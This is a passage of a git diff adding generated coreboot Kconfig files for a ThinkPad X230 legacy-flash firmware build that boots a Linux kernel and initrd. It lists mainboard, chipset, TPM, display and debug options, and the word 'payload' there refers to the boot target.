not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 +CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y +CONFIG_CONSOLE_USE_ANSI_ESCAPES=y +CONFIG_HWBASE_DEBUG_CB=y +# end of Console + +CONFIG_HAVE_ACPI_RESUME=y +CONFIG_RESUME_PATH_SAME_AS_BOOT=y +CONFIG_HAVE_MONOTONIC_TIMER=y +CONFIG_HAVE_OPTION_TABLE=y +CONFIG_IOAPIC=y +CONFIG_USE_WATCHDOG_ON_BOOT=y + +# +# System tables +# +CONFIG_GENERATE_SMBIOS_TABLES=y +CONFIG_SMBIOS_PROVIDED_BY_MOBO=y +CONFIG_BIOS_VENDOR="coreboot" +CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" +# end of System tables + +# +# Payload +# +# CONFIG_PAYLOAD_NONE is not set +# CONFIG_PAYLOAD_ELF is not set +# CONFIG_PAYLOAD_BOOTBOOT is not set +# CONFIG_PAYLOAD_FILO is not set +# CONFIG_PAYLOAD_GRUB2 is not set +# CONFIG_PAYLOAD_SEAGRUB is not set +# CONFIG_PAYLOAD_LINUXBOOT is not set +# CONFIG_PAYLOAD_SEABIOS is not set +# CONFIG_PAYLOAD_UBOOT is not set +# CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" +CONFIG_PAYLOAD_OPTIONS="" +# CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set +CONFIG_COMPRESS_SECONDARY_PAYLOAD=y + +# +# Secondary Payloads +# +# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set +# CONFIG_GRUB2_SECONDARY_PAYLOAD is not set +# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set +# CONFIG_NVRAMCUI_SECONDARY_PAYLOAD is not set +# CONFIG_SEABIOS_SECONDARY_PAYLOAD is not set +# CONFIG_TINT_SECONDARY_PAYLOAD is not set +# CONFIG_COREDOOM_SECONDARY_PAYLOAD is not set +# end of Secondary Payloads +# end of Payload + +# +# Debugging +# + +# +# CPU Debug Settings +# +# CONFIG_DISPLAY_MTRRS is not set + +# +# Vendorcode Debug Settings +# + +# +# BLOB Debug Settings +# + +# +# General Debug Settings +# +# CONFIG_FATAL_ASSERTS is not set +# CONFIG_DEBUG_CBFS is not set +CONFIG_HAVE_DEBUG_RAM_SETUP=y +# CONFIG_DEBUG_RAM_SETUP is not set +CONFIG_HAVE_DEBUG_SMBUS=y +# CONFIG_DEBUG_SMBUS is not set +# CONFIG_DEBUG_MALLOC is not set +# CONFIG_DEBUG_CONSOLE_INIT is not set +# CONFIG_DEBUG_SPI_FLASH is not set +# CONFIG_DEBUG_BOOT_STATE is not set +# CONFIG_DEBUG_ADA_CODE is not set +CONFIG_HAVE_EM100_SUPPORT=y +# CONFIG_EM100 is not set +# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set +# end of Debugging + +CONFIG_RAMSTAGE_ADA=y +CONFIG_RAMSTAGE_LIBHWBASE=y +CONFIG_HWBASE_DYNAMIC_MMIO=y +CONFIG_HWBASE_DEFAULT_MMCONF=0xf0000000 +CONFIG_HWBASE_DIRECT_PCIDEV=y +CONFIG_DECOMPRESS_OFAST=y +CONFIG_WARNINGS_ARE_ERRORS=y +CONFIG_MAX_REBOOT_CNT=3 +CONFIG_RELOCATABLE_MODULES=y +CONFIG_HAVE_BOOTBLOCK=y +CONFIG_HAVE_ROMSTAGE=y +CONFIG_HAVE_RAMSTAGE=y diff --git a/config/coreboot-x230-legacy-flash.config b/config/coreboot-x230-legacy-flash.config index 245d32354..54ba0eb69 100644 --- a/config/coreboot-x230-legacy-flash.config +++ b/config/coreboot-x230-legacy-flash.config @@ -1,32 +1,696 @@ +# +# Automatically generated file; DO NOT EDIT. +# coreboot configuration +# + +# +# General setup +# +CONFIG_COREBOOT_BUILD=y +CONFIG_LOCALVERSION="" +CONFIG_CBFS_PREFIX="fallback" +CONFIG_COMPILER_GCC=y +# CONFIG_COMPILER_LLVM_CLANG is not set +CONFIG_ARCH_SUPPORTS_CLANG=y +# CONFIG_ANY_TOOLCHAIN is not set +# CONFIG_CCACHE is not set +# CONFIG_IWYU is not set +# CONFIG_FMD_GENPARSER is not set +# CONFIG_UTIL_GENPARSER is not set +CONFIG_OPTION_BACKEND_NONE=y +# CONFIG_USE_OPTION_TABLE is not set +CONFIG_COMPRESS_RAMSTAGE_LZMA=y +# CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set +CONFIG_SEPARATE_ROMSTAGE=y +CONFIG_INCLUDE_CONFIG_FILE=y +CONFIG_COLLECT_TIMESTAMPS=y CONFIG_TIMESTAMPS_ON_CONSOLE=y # CONFIG_USE_BLOBS is not set +# CONFIG_COVERAGE is not set +# CONFIG_UBSAN is not set +CONFIG_HAVE_ASAN_IN_RAMSTAGE=y +# CONFIG_ASAN is not set +# CONFIG_NO_STAGE_CACHE is not set +CONFIG_TSEG_STAGE_CACHE=y +# CONFIG_UPDATE_IMAGE is not set CONFIG_BOOTSPLASH_IMAGE=y CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 +# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set +# CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set CONFIG_FW_CONFIG=y CONFIG_FW_CONFIG_SOURCE_CBFS=y + +# +# Software Bill Of Materials (SBOM) +# +# CONFIG_SBOM is not set +# end of Software Bill Of Materials (SBOM) +# end of General setup + +# +# Mainboard +# + +# +# Important: Run 'make distclean' before switching boards +# +# CONFIG_VENDOR_51NB is not set +# CONFIG_VENDOR_ACER is not set +# CONFIG_VENDOR_ADLINK is not set +# CONFIG_VENDOR_AMD is not set +# CONFIG_VENDOR_AOPEN is not set +# CONFIG_VENDOR_APPLE is not set +# CONFIG_VENDOR_ASROCK is not set +# CONFIG_VENDOR_ASUS is not set +# CONFIG_VENDOR_BIOSTAR is not set +# CONFIG_VENDOR_BOSTENTECH is not set +# CONFIG_VENDOR_BYTEDANCE is not set +# CONFIG_VENDOR_CAVIUM is not set +# CONFIG_VENDOR_CLEVO is not set +# CONFIG_VENDOR_COMPULAB is not set +# CONFIG_VENDOR_DELL is not set +# CONFIG_VENDOR_EMULATION is not set +# CONFIG_VENDOR_EXAMPLE is not set +# CONFIG_VENDOR_FACEBOOK is not set +# CONFIG_VENDOR_FOXCONN is not set +# CONFIG_VENDOR_GETAC is not set +# CONFIG_VENDOR_GIGABYTE is not set +# CONFIG_VENDOR_GOOGLE is not set +# CONFIG_VENDOR_HP is not set +# CONFIG_VENDOR_IBASE is not set +# CONFIG_VENDOR_IBM is not set +# CONFIG_VENDOR_INTEL is not set +# CONFIG_VENDOR_INVENTEC is not set +# CONFIG_VENDOR_KONTRON is not set CONFIG_VENDOR_LENOVO=y +# CONFIG_VENDOR_LIBRETREND is not set +# CONFIG_VENDOR_MSI is not set +# CONFIG_VENDOR_OCP is not set +# CONFIG_VENDOR_OPENCELLULAR is not set +# CONFIG_VENDOR_PACKARDBELL is not set +# CONFIG_VENDOR_PCENGINES is not set +# CONFIG_VENDOR_PINE64 is not set +# CONFIG_VENDOR_PORTWELL is not set +# CONFIG_VENDOR_PRODRIVE is not set +# CONFIG_VENDOR_PROTECTLI is not set +# CONFIG_VENDOR_PURISM is not set +# CONFIG_VENDOR_RAZER is not set +# CONFIG_VENDOR_RODA is not set +# CONFIG_VENDOR_SAMSUNG is not set +# CONFIG_VENDOR_SAPPHIRE is not set +# CONFIG_VENDOR_SIEMENS is not set +# CONFIG_VENDOR_SIFIVE is not set +# CONFIG_VENDOR_STARLABS is not set +# CONFIG_VENDOR_SUPERMICRO is not set +# CONFIG_VENDOR_SYSTEM76 is not set +# CONFIG_VENDOR_TI is not set +# CONFIG_VENDOR_UP is not set +CONFIG_BOARD_SPECIFIC_OPTIONS=y +CONFIG_MAINBOARD_FAMILY="ThinkPad X230" +CONFIG_MAINBOARD_PART_NUMBER="ThinkPad X230" +CONFIG_MAINBOARD_VERSION="1.0" +CONFIG_MAINBOARD_DIR="lenovo/x230" +CONFIG_VGA_BIOS_ID="8086,0166" +CONFIG_DIMM_MAX=4 +CONFIG_DIMM_SPD_SIZE=256 +CONFIG_FMDFILE="" CONFIG_NO_POST=y +CONFIG_MAINBOARD_VENDOR="LENOVO" CONFIG_CBFS_SIZE=0x400000 +CONFIG_LINEAR_FRAMEBUFFER_MAX_HEIGHT=1600 +CONFIG_LINEAR_FRAMEBUFFER_MAX_WIDTH=2560 +CONFIG_MAX_CPUS=8 CONFIG_ONBOARD_VGA_IS_PRIMARY=y +CONFIG_DEVICETREE="devicetree.cb" +# CONFIG_VBOOT is not set +CONFIG_VARIANT_DIR="x230" +CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" +# CONFIG_VGA_BIOS is not set +CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="LENOVO" +CONFIG_DRAM_RESET_GATE_GPIO=10 +CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/variants/$(VARIANT_DIR)/data.vbt" +CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 +CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" +CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" +CONFIG_USBDEBUG_HCD_INDEX=2 +CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 +CONFIG_TPM_PIRQ=0x0 +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=64 +CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" +CONFIG_DCACHE_RAM_BASE=0xfefe0000 +CONFIG_DCACHE_RAM_SIZE=0x20000 +CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 +CONFIG_DCACHE_BSP_STACK_SIZE=0x10000 +CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 +CONFIG_HAVE_INTEL_FIRMWARE=y +CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 +CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y +CONFIG_SPI_FLASH_WINBOND=y +CONFIG_DRIVERS_INTEL_WIFI=y CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x80000 +CONFIG_CARDBUS_PLUGIN_SUPPORT=y +CONFIG_SPI_FLASH_GIGADEVICE=y +CONFIG_SPI_FLASH_STMICRO=y +# CONFIG_DEBUG_SMI is not set +CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="ThinkPad X230" +# CONFIG_HAVE_IFD_BIN is not set +CONFIG_PCIEXP_HOTPLUG_BUSES=8 +CONFIG_PCIEXP_HOTPLUG_MEM=0x800000 +CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM=0x10000000 +# CONFIG_BOARD_LENOVO_THINKPAD_T440P is not set +# CONFIG_BOARD_LENOVO_THINKPAD_W541 is not set +# CONFIG_BOARD_LENOVO_L520 is not set +# CONFIG_BOARD_LENOVO_S230U is not set +# CONFIG_BOARD_LENOVO_T400 is not set +# CONFIG_BOARD_LENOVO_T500 is not set +# CONFIG_BOARD_LENOVO_R400 is not set +# CONFIG_BOARD_LENOVO_R500 is not set +# CONFIG_BOARD_LENOVO_W500 is not set +# CONFIG_BOARD_LENOVO_T410 is not set +# CONFIG_BOARD_LENOVO_T420 is not set +# CONFIG_BOARD_LENOVO_T420S is not set +# CONFIG_BOARD_LENOVO_THINKPAD_T430 is not set +# CONFIG_BOARD_LENOVO_T430S is not set +# CONFIG_BOARD_LENOVO_T431S is not set +# CONFIG_BOARD_LENOVO_T520 is not set +# CONFIG_BOARD_LENOVO_W520 is not set +# CONFIG_BOARD_LENOVO_T530 is not set +# CONFIG_BOARD_LENOVO_W530 is not set +# CONFIG_BOARD_LENOVO_T60 is not set +# CONFIG_BOARD_LENOVO_Z61T is not set +# CONFIG_BOARD_LENOVO_R60 is not set +# CONFIG_BOARD_LENOVO_THINKCENTRE_A58 is not set +# CONFIG_BOARD_LENOVO_X131E is not set +# CONFIG_BOARD_LENOVO_X1_CARBON_GEN1 is not set +# CONFIG_BOARD_LENOVO_X200 is not set +# CONFIG_BOARD_LENOVO_X301 is not set +# CONFIG_BOARD_LENOVO_X201 is not set +# CONFIG_BOARD_LENOVO_X220 is not set +# CONFIG_BOARD_LENOVO_X220I is not set +# CONFIG_BOARD_LENOVO_X1 is not set CONFIG_BOARD_LENOVO_X230=y +# CONFIG_BOARD_LENOVO_X230T is not set +# CONFIG_BOARD_LENOVO_X230S is not set +# CONFIG_BOARD_LENOVO_X230_EDP is not set +# CONFIG_BOARD_LENOVO_X60 is not set +CONFIG_VBOOT_SLOTS_RW_AB=y +CONFIG_DRIVER_LENOVO_SERIALS=y +CONFIG_PS2K_EISAID="PNP0303" +CONFIG_PS2M_EISAID="LEN0020" +CONFIG_THINKPADEC_HKEY_EISAID="LEN0068" +CONFIG_GFX_GMA_PANEL_1_PORT="LVDS" +CONFIG_D3COLD_SUPPORT=y +CONFIG_PCIEXP_ASPM=y +# CONFIG_PCIEXP_L1_SUB_STATE is not set +# CONFIG_PCIEXP_CLK_PM is not set +# CONFIG_DRIVERS_UART_8250IO is not set +CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 +CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y +CONFIG_LINUX_COMMAND_LINE="" +CONFIG_BOARD_ROMSIZE_KB_12288=y +# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set CONFIG_COREBOOT_ROMSIZE_KB_4096=y +# CONFIG_COREBOOT_ROMSIZE_KB_5120 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_16384 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set +CONFIG_COREBOOT_ROMSIZE_KB=4096 +CONFIG_ROM_SIZE=0x00400000 +CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y +CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y +CONFIG_POWER_STATE_OFF_AFTER_FAILURE=y +# CONFIG_POWER_STATE_ON_AFTER_FAILURE is not set +# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set +CONFIG_MAINBOARD_POWER_FAILURE_STATE=0 +# end of Mainboard + +CONFIG_SYSTEM_TYPE_LAPTOP=y + +# +# Chipset +# + +# +# SoC +# +CONFIG_CHIPSET_DEVICETREE="northbridge/intel/sandybridge/chipset.cb" +CONFIG_CBFS_MCACHE_SIZE=0x4000 +CONFIG_ROMSTAGE_ADDR=0x2000000 +CONFIG_VERSTAGE_ADDR=0x2000000 +CONFIG_SMM_TSEG_SIZE=0x800000 +CONFIG_SMM_RESERVED_SIZE=0x100000 +CONFIG_SMM_MODULE_STACK_SIZE=0x400 +# CONFIG_USE_EXP_X86_64_SUPPORT is not set +CONFIG_SERIRQ_CONTINUOUS_MODE=y +CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 +CONFIG_EHCI_BAR=0xfef00000 +CONFIG_ACPI_CPU_STRING="CP%02X" +CONFIG_STACK_SIZE=0x2000 +CONFIG_IED_REGION_SIZE=0x400000 +CONFIG_INTEL_GMA_BCLV_OFFSET=0x48254 +CONFIG_INTEL_GMA_BCLV_WIDTH=16 +CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 +CONFIG_INTEL_GMA_BCLM_WIDTH=16 +CONFIG_BOOTBLOCK_IN_CBFS=y +CONFIG_DCACHE_RAM_MRC_VAR_SIZE=0x0 +CONFIG_HPET_MIN_TICKS=0x80 +CONFIG_FIXED_MCHBAR_MMIO_BASE=0xfed10000 +CONFIG_FIXED_DMIBAR_MMIO_BASE=0xfed18000 +CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 +CONFIG_PCIEXP_COMMON_CLOCK=y +CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 +CONFIG_FIXED_SMBUS_IO_BASE=0x400 +CONFIG_CBFS_CACHE_ALIGN=8 + +# +# CPU +# +CONFIG_CPU_INTEL_MODEL_206AX=y +CONFIG_CPU_INTEL_COMMON=y # CONFIG_ENABLE_VMX is not set # CONFIG_SET_IA32_FC_LOCK_BIT is not set # CONFIG_SET_MSR_AESNI_LOCK_BIT is not set +CONFIG_CPU_INTEL_COMMON_TIMEBASE=y +CONFIG_CPU_INTEL_COMMON_SMM=y +CONFIG_MICROCODE_UPDATE_PRE_RAM=y +CONFIG_PARALLEL_MP=y +CONFIG_XAPIC_ONLY=y +# CONFIG_X2APIC_ONLY is not set +# CONFIG_X2APIC_RUNTIME is not set +# CONFIG_X2APIC_LATE_WORKAROUND is not set +CONFIG_UDELAY_TSC=y +CONFIG_TSC_MONOTONIC_TIMER=y +CONFIG_TSC_SYNC_MFENCE=y +CONFIG_HAVE_SMI_HANDLER=y +CONFIG_SMM_TSEG=y +CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 +CONFIG_AP_STACK_SIZE=0x800 +CONFIG_SMP=y +CONFIG_SSE=y +CONFIG_SSE2=y +CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y +CONFIG_USE_CPU_MICROCODE_CBFS_BINS=y +CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS=y +# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_BINS is not set +# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_HEADER is not set +# CONFIG_CPU_MICROCODE_CBFS_NONE is not set + +# +# Northbridge +# +CONFIG_USE_NATIVE_RAMINIT=y +CONFIG_NORTHBRIDGE_INTEL_SANDYBRIDGE=y +# CONFIG_NATIVE_RAMINIT_IGNORE_MAX_MEM_FUSES is not set +# CONFIG_NATIVE_RAMINIT_IGNORE_XMP_MAX_DIMMS is not set +# CONFIG_NATIVE_RAMINIT_IGNORE_XMP_REQUESTED_VOLTAGE is not set +# CONFIG_RAMINIT_ALWAYS_ALLOW_DLL_OFF is not set # CONFIG_RAMINIT_ENABLE_ECC is not set + +# +# Southbridge +# +CONFIG_SOUTHBRIDGE_INTEL_BD82X6X_COMMON=y +CONFIG_SOUTHBRIDGE_INTEL_C216=y +# CONFIG_HIDE_MEI_ON_ERROR is not set +CONFIG_PCIEXP_HOTPLUG=y +CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_RESET=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_RTC=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMCLIB=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMBASE=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_GPIO=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_ME=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_EARLY_SMBUS=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SPI=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SPI_ICH9=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_RCBA_PIRQ=y +CONFIG_HAVE_INTEL_CHIPSET_LOCKDOWN=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMM=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_FINALIZE=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_USB_DEBUG=y +CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y +# CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set # CONFIG_INTEL_CHIPSET_LOCKDOWN is not set +CONFIG_TCO_SPACE_NOT_YET_SPLIT=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_WATCHDOG=y +CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 +CONFIG_RCBA_LENGTH=0x4000 + +# +# Super I/O +# + +# +# Embedded Controllers +# +CONFIG_EC_ACPI=y +CONFIG_EC_LENOVO_H8=y +CONFIG_H8_BEEP_ON_DEATH=y +CONFIG_H8_FLASH_LEDS_ON_DEATH=y +# CONFIG_H8_SUPPORT_BT_ON_WIFI is not set +# CONFIG_H8_FN_CTRL_SWAP is not set +CONFIG_H8_HAS_BAT_THRESHOLDS_IMPL=y +CONFIG_EC_LENOVO_PMH7=y + +# +# Intel Firmware +# +CONFIG_MAINBOARD_USES_IFD_GBE_REGION=y +CONFIG_ARCH_X86=y +CONFIG_ARCH_BOOTBLOCK_X86_32=y +CONFIG_ARCH_VERSTAGE_X86_32=y +CONFIG_ARCH_ROMSTAGE_X86_32=y +CONFIG_ARCH_POSTCAR_X86_32=y +CONFIG_ARCH_RAMSTAGE_X86_32=y +CONFIG_ARCH_ALL_STAGES_X86_32=y +CONFIG_HAVE_EXP_X86_64_SUPPORT=y +CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y +CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y +CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y +CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 +CONFIG_PC80_SYSTEM=y +CONFIG_HAVE_CMOS_DEFAULT=y +CONFIG_POSTCAR_STAGE=y +CONFIG_BOOTBLOCK_SIMPLE=y +# CONFIG_BOOTBLOCK_NORMAL is not set +CONFIG_COLLECT_TIMESTAMPS_TSC=y +CONFIG_HAVE_CF9_RESET=y +CONFIG_DEBUG_HW_BREAKPOINTS=y +CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y +# CONFIG_DUMP_SMBIOS_TYPE17 is not set +# end of Chipset + +# +# Devices +# +CONFIG_HAVE_VGA_TEXT_FRAMEBUFFER=y +CONFIG_HAVE_LINEAR_FRAMEBUFFER=y +CONFIG_MAINBOARD_HAS_LIBGFXINIT=y +CONFIG_MAINBOARD_USE_LIBGFXINIT=y +# CONFIG_VGA_ROM_RUN is not set +# CONFIG_NO_GFX_INIT is not set +CONFIG_NO_EARLY_GFX_INIT=y + +# +# Display +# +# CONFIG_VGA_TEXT_FRAMEBUFFER is not set CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y +CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y +CONFIG_HEAP_SIZE=0x400000 +# end of Display + +CONFIG_PCI=y +CONFIG_ECAM_MMCONF_SUPPORT=y +CONFIG_PCIX_PLUGIN_SUPPORT=y +CONFIG_AZALIA_HDA_CODEC_SUPPORT=y +CONFIG_PCIEXP_PLUGIN_SUPPORT=y +CONFIG_ECAM_MMCONF_LENGTH=0x04000000 # CONFIG_PCI_ALLOW_BUS_MASTER is not set +# CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set +# CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set +CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_ABOVE_4G=y +# CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_BELOW_4G is not set CONFIG_PCIEXP_HOTPLUG_IO=0x2000 +# CONFIG_EARLY_PCI_BRIDGE is not set +CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 +CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 +CONFIG_INTEL_GMA_HAVE_VBT=y +CONFIG_INTEL_GMA_ADD_VBT=y +# CONFIG_SOFTWARE_I2C is not set +CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 +CONFIG_RESOURCE_ALLOCATION_TOP_DOWN=y +CONFIG_USE_DDR3=y +# end of Devices + +# +# Generic Drivers +# +CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 +# CONFIG_ELOG is not set +CONFIG_CACHE_MRC_SETTINGS=y +# CONFIG_MRC_SETTINGS_PROTECT is not set +# CONFIG_SMMSTORE is not set +CONFIG_SPI_FLASH=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y +# CONFIG_SPI_FLASH_NO_FAST_READ is not set +CONFIG_SPI_FLASH_ADESTO=y +CONFIG_SPI_FLASH_AMIC=y +CONFIG_SPI_FLASH_ATMEL=y +CONFIG_SPI_FLASH_EON=y +CONFIG_SPI_FLASH_MACRONIX=y +CONFIG_SPI_FLASH_SPANSION=y +CONFIG_SPI_FLASH_SST=y +CONFIG_SPI_FLASH_ISSI=y +CONFIG_TPM_INIT_RAMSTAGE=y +# CONFIG_TPM_PPI is not set +CONFIG_NO_UART_ON_SUPERIO=y +# CONFIG_DRIVERS_UART_OXPCIE is not set +CONFIG_HAVE_USBDEBUG=y +CONFIG_HAVE_USBDEBUG_OPTIONS=y CONFIG_USBDEBUG=y +CONFIG_USBDEBUG_IN_PRE_RAM=y +CONFIG_USBDEBUG_DEFAULT_PORT=0 +CONFIG_USBDEBUG_DONGLE_STD=y +# CONFIG_USBDEBUG_DONGLE_BEAGLEBONE is not set +# CONFIG_USBDEBUG_DONGLE_FTDI_FT232H is not set +# CONFIG_USBDEBUG_DONGLE_WCH_CH347 is not set +CONFIG_USBDEBUG_OPTIONAL_HUB_PORT=0 +# CONFIG_VPD is not set +# CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set +# CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set +# CONFIG_DRIVERS_I2C_MAX98396 is not set +CONFIG_INTEL_INT15=y +CONFIG_INTEL_GMA_ACPI=y +CONFIG_VBT_CBFS_COMPRESSION_LZMA=y +# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set +# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set +CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" +CONFIG_GFX_GMA=y +CONFIG_GFX_GMA_PANEL_1_ON_LVDS=y +CONFIG_GFX_GMA_DYN_CPU=y +CONFIG_GFX_GMA_GENERATION="Ironlake" +CONFIG_GFX_GMA_PCH="Cougar_Point" +CONFIG_GFX_GMA_PANEL_2_PORT="Disabled" +CONFIG_GFX_GMA_ANALOG_I2C_PORT="PCH_DAC" +# CONFIG_DRIVERS_NXP_UWB_SR1XX is not set CONFIG_DRIVERS_PS2_KEYBOARD=y +CONFIG_DRIVERS_MC146818=y # CONFIG_USE_PC_CMOS_ALTCENTURY is not set +CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 +CONFIG_MEMORY_MAPPED_TPM=y +CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 +CONFIG_DRIVERS_RICOH_RCE822=y +# CONFIG_DRIVERS_SIL_3114 is not set +CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_MTK_WIFI=y +# end of Generic Drivers + +# +# Security +# + +# +# CBFS verification +# +# CONFIG_CBFS_VERIFICATION is not set +# end of CBFS verification + +# +# Verified Boot (vboot) +# +CONFIG_VBOOT_LIB=y +# end of Verified Boot (vboot) + +# +# Trusted Platform Module +# +# CONFIG_NO_TPM is not set +CONFIG_TPM1=y +CONFIG_TPM=y +CONFIG_MAINBOARD_HAS_TPM1=y +# CONFIG_TPM_DEACTIVATE is not set +# CONFIG_DEBUG_TPM is not set +# CONFIG_TPM_RDRESP_NEED_DELAY is not set +# CONFIG_TPM_LOG_CB is not set +CONFIG_TPM_LOG_TPM1=y +CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" +CONFIG_PCR_BOOT_MODE=1 +CONFIG_PCR_HWID=1 +CONFIG_PCR_SRTM=2 +CONFIG_PCR_FW_VER=10 +CONFIG_PCR_RUNTIME_DATA=3 +# end of Trusted Platform Module + +# +# Memory initialization +# +CONFIG_PLATFORM_HAS_DRAM_CLEAR=y +# CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT is not set +# end of Memory initialization + +# CONFIG_INTEL_TXT is not set 